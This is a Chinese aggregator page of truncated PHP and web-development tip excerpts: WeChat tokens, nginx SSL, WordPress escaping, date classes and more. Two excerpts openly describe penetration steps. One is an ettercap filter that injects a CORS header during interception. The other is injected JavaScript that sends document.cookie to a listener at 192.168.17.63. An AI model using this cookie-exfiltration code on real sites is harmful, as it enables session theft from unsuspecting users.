Time of Update: 2016-07-29
相信很多人會跟我一樣,token驗證之後,發送訊息給訂閱號,沒有訊息返回。以下,說一下我辛苦調試得到的解決辦法:首先,token驗證:自己寫的token一直驗證失敗,找了好久,沒有發現bug。實在沒辦法,就用了官方的範例程式碼。並且通過範例程式碼調試,發現了一個讓我吐血的bug(也不算bug):token驗證貌似要求字元編碼格式!!!!官方的範例程式碼,直接上傳到伺服器,token直接過!把官方範例程式碼改為UTF-8格式,再上傳覆蓋,token失敗!失敗!失敗!後來,把自己寫的修改為ANSI格
Time of Update: 2016-07-29
PHP在這方面應該說是比較弱,如果只用php去實現可以如下:但是當我執行指令碼的時候,即使我關閉了瀏覽器,我根本就沒法去停止這段程式了,所以你需要一個執行指令碼的開關,你可以用外部檔案引入的方法來實現,在while迴圈的時候,include開關變數即可。那麼就可以這樣實現:建立外部引入變數檔案 switch.php 內容如下:改良指令碼如下:這個指令碼只是測試可行,具體效率應該不高,對於lamp,你完全可以使用crontab 來實現。再補充一段小代碼:ignore_user_abort();/
Time of Update: 2016-07-29
昨天,好端端的網站突然上傳圖片無法顯示,並且無法置中,後台採用的是ckeditor。然後進入了沉思,起初以為是編輯器的問題,更換編輯器實驗,還是同樣的問題,顯然排除了編輯器的問題。那是什麼問題呢?從編輯器的輸入內容的源碼分析,內容是含有引號和HTML標籤的,但是提交的時候ckeditor會把預定義的字元如"通過查詢資料庫結果得知,內容中的引號被替換掉了,成為空白,然而被出來的資料放到編輯器中還是能解釋,但是樣式卻一塌糊塗,並且還被添加了一些其他標籤。正是這些導致了前台樣式錯亂,導致上傳圖片無法顯
Time of Update: 2016-07-29
預設情況下ssl模組並未被安裝,如果要使用該模組則需要在編譯時間指定–with-http_ssl_module參數,安裝模組依賴於OpenSSL庫和一些引用檔案,通常這些檔案並不在同一個軟體包中。通常這個檔案名稱類似libssl-dev。產生認證可以通過以下步驟產生一個簡單的認證:首先,進入你想建立認證和私密金鑰的目錄,例如:$ cd /usr/local/nginx/conf建立伺服器私密金鑰,命令會讓你輸入一個口令:$ openssl genrsa -des3 -out
Time of Update: 2016-07-29
本文為大家講述了php非同步呼叫方法,分享給大家供大家參考,具體內容如下用戶端與伺服器端是通過HTTP協議進行串連通訊,用戶端發起請求,伺服器端接收到請求後執行處理,並返回處理結果。有時伺服器需要執行很耗時的操作,這個操作的結果並不需要返回給用戶端。但因為php是同步執行的,所以用戶端需要等待服務處理完才可以進行下一步。因此對於耗時的操作適合非同步執行,伺服器接收到請求後,處理完用戶端需要的資料就返回,再非同步在伺服器執行耗時的操作。1.使用Ajax 與 img
Time of Update: 2016-07-29
第一種方法,使用PHP類庫實現/** * function:計算兩個日期相隔多少年,多少月,多少天 * param string $date1[格式如:2011-11-5] * param string $date2[格式如:2012-12-01] * return array array('年','月','日'); */function diffDate($date1,$date2){ $datetime1 = new \DateTime($date1); $datetime2 =
Time of Update: 2016-07-29
esc_attr()(過濾屬性)一般在寫 Html 代碼的標籤屬性的時候會是下邊的格式:那如果 value 屬性是動態輸出的呢?" />但是,如果動態輸出的屬性裡有雙引號、角括弧等特殊字元,Html 代碼就會被打亂,這時就可以使用 esc_attr() 函數對輸出的屬性進行轉義。使用方法esc_attr( $text );參數$text (字串)(必須)要轉義的字串。 預設值:None傳回值返迴轉義後的字串。例子" />其它此函數位於:wp-includes/formatting.phpesc_
Time of Update: 2016-07-29
本文執行個體講述了PHP時間類。分享給大家供大家參考,具體如下:year=date("y",$time); //返回兩位的年份 13 }else{ return $this->year=date("Y",$time); //返回四位的年份 2013 } } //返回目前時間的月份 time:時間格式為時間戳記 2013-3-27 function getmonth($time="",$type=""){ if($time==""){ $time=time(); } switch($type)
Time of Update: 2016-07-29
Ajax只能訪問(提交表單等)與伺服器在同一個域的asp、php等檔案,這是因為通常伺服器返回的http頭中沒有Access-Control-Allow-Origin欄位。因此,在滲透的過程中,要想讓插入的JS訪問我們自己的伺服器,則需要在http頭中加入此欄位。使用ettercap時,在過濾器中加上:if(ip.proto == TCP && tcp.src == 80){if (search(DATA.data, "Content-Type")){#msg("access control")
Time of Update: 2016-07-29
在滲透的過程中,可以在網頁中插入JS代碼來擷取cookie:document.cookie那麼擷取到的cookie如何傳到我們自己的伺服器呢?在這裡,我使用的是AJAX技術。但是Ajax有一個跨域的問題,所以需要再http頭部再進行設定。這裡主要講cookie的提交。先看一段JS代碼:xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+document.cookie,true);這裡將從
Time of Update: 2016-07-29
/** * 刪除檔案夾及其檔案夾下所有檔案 */public static function deldir($dir) {//先刪除目錄下的檔案:$dh=opendir($dir);while ($file=readdir($dh)) {if($file!="." && $file!="..") {$fullpath=$dir."/".$file;if(!is_dir($fullpath)) {unlink($fullpath);} else {self::deldir($fullpath);}
Time of Update: 2016-07-29
1,本地機器: 'tanteng' // 'password' => 'password');$ch = curl_init ();// print_r($ch);curl_setopt ( $ch, CURLOPT_URL, $uri );curl_setopt ( $ch, CURLOPT_POST, 1 );curl_setopt ( $ch, CURLOPT_HEADER, 0 );curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1
Time of Update: 2016-07-29
運行環境:PHPSTORM版本 : 8.0.1PHP版本 : 5.6.2xdebug版本:php_xdebug-2.2.5-5.6-vc11-x86_64.dllps : php版本和xdebug版本一定要相對應PHP安裝xdebug擴充php.ini的配置,下面的配置僅供參考,路徑要換成自己的![xdebug]zend_extension=”D:\wamp\php-5.6.2-x64\ext\php_xdebug-2.2.5-5.6-vc11-x86_64.dll”xdebug.remote_
Time of Update: 2016-07-29
由於web伺服器以前在iis下部署有幾個網站,現在這個項目開發又是用的php,本來php+mysql+iis應該很簡單隨便在網上能搜尋出來很多,但是,由於以前那個web網站是用的sqlserver%e6%95%b0%e6%8d%ae%e5%ba%93/' target='_blank'>sqlserver資料庫,現在不想改變原有的資料庫結構就直接使用了iis+SQL Server +php5.6 這種環境,中間的曲折過程就不說了,下面談一下我部署的時候的步驟: 1. 到php官網下載php5.
Time of Update: 2016-07-29
php封裝好的人民幣數值轉中文大寫類class Num2RmbClass{ /** * 人民幣數值轉中文大寫 * @author SunsCheung * @time 2015.11.11 * @param string $number 數值 預設為0 * @param string $int_unit 幣種單位,預設"元",有的需求可能為"圓" * @param bool $is_round 是否對小數進行四捨五入 * @param bool $is_extra_
Time of Update: 2016-07-29
來到兄弟連參加php培訓已經有十多天了,在這十多天裡,體現到兄弟連的殘酷訓練,魔鬼般的地獄式訓練。每天加班加點,趕作業,寫筆記,預習,等等,感覺一天時間都不夠用。每天都焦頭爛額的,真心想說‘累’,累到趴下!但累的當中學到很多東西,也認識了一些來自各方的朋友。正所謂嚴師出高徒,這一點都沒有錯,這十多天裡,每天都過得很充實,每天都有收穫,這正是我想要的。很喜歡這裡的培訓方式,php我的夢。
Time of Update: 2016-07-29
MySQL資料庫的基礎練習建立資料庫使用資料庫建立表char:定長不變的varchar:可變的 顯示表查看錶結構插入資料SHA1():加密資料函數,建立一個加密字元創,其長度正好為40個字元 查看所有元素WHERE 條件陳述式 between … and…LIKE / NOT LIKE萬用字元 _
Time of Update: 2016-07-29
今天太倒黴了,發現通過IP無法訪問伺服器的80連接埠很無語,昨天都還好的啊,也沒有修改過配置,其他連接埠又是正常的,防火牆也沒問題。於是問了下機房,給了個崩潰的回複說我們的伺服器有個網域名稱沒有備案被電信多次通告,然後就把我們ip連接埠給封了。。。。封了啊。。。瘋了,關鍵是這個網域名稱TMD不是我的啊經過一番折騰,發現是 nginx 配置上貌似有個漏洞,導致任何網域名稱解析到伺服器都能被正常請求,雖然是個空白頁,但HTTP狀態代碼是200。主要是缺少下面的配置代碼:nginx 版本
Time of Update: 2016-07-29
最近遇到一個客戶,使用的是PostgreSQL資料庫,之前也沒有接觸用到過這個資料庫。所以也算是新手了,也沒有過多的發言權,只是在這裡把問題記錄下來分享給大家,希望後面遇到的小夥伴可以參考下,廢話不多說看下面用php串連pgsql的時候出現這個錯誤,總結了一下,解決方案如下:1、在php設定檔php.ini,去掉extension=php_pdo_pgsql.dll和extension=php_pgsql.dll之前的逗號2、以上配置改好之後還有問題可能是php版本問題,我用的環境是wamp和p
Time of Update: 2016-07-29
esc_html()(轉義 Html)esc_html() 函數用來轉義 Html 代碼,讓 Html 代碼不轉義。用法esc_html( $text );參數$text(字串)(必須)要轉義的字串。預設值:None傳回值(字串)返迴轉義後的字元。例子echo esc_html( 'A link' );上邊的代碼將輸出:WordPress 函數:esc_html()(轉義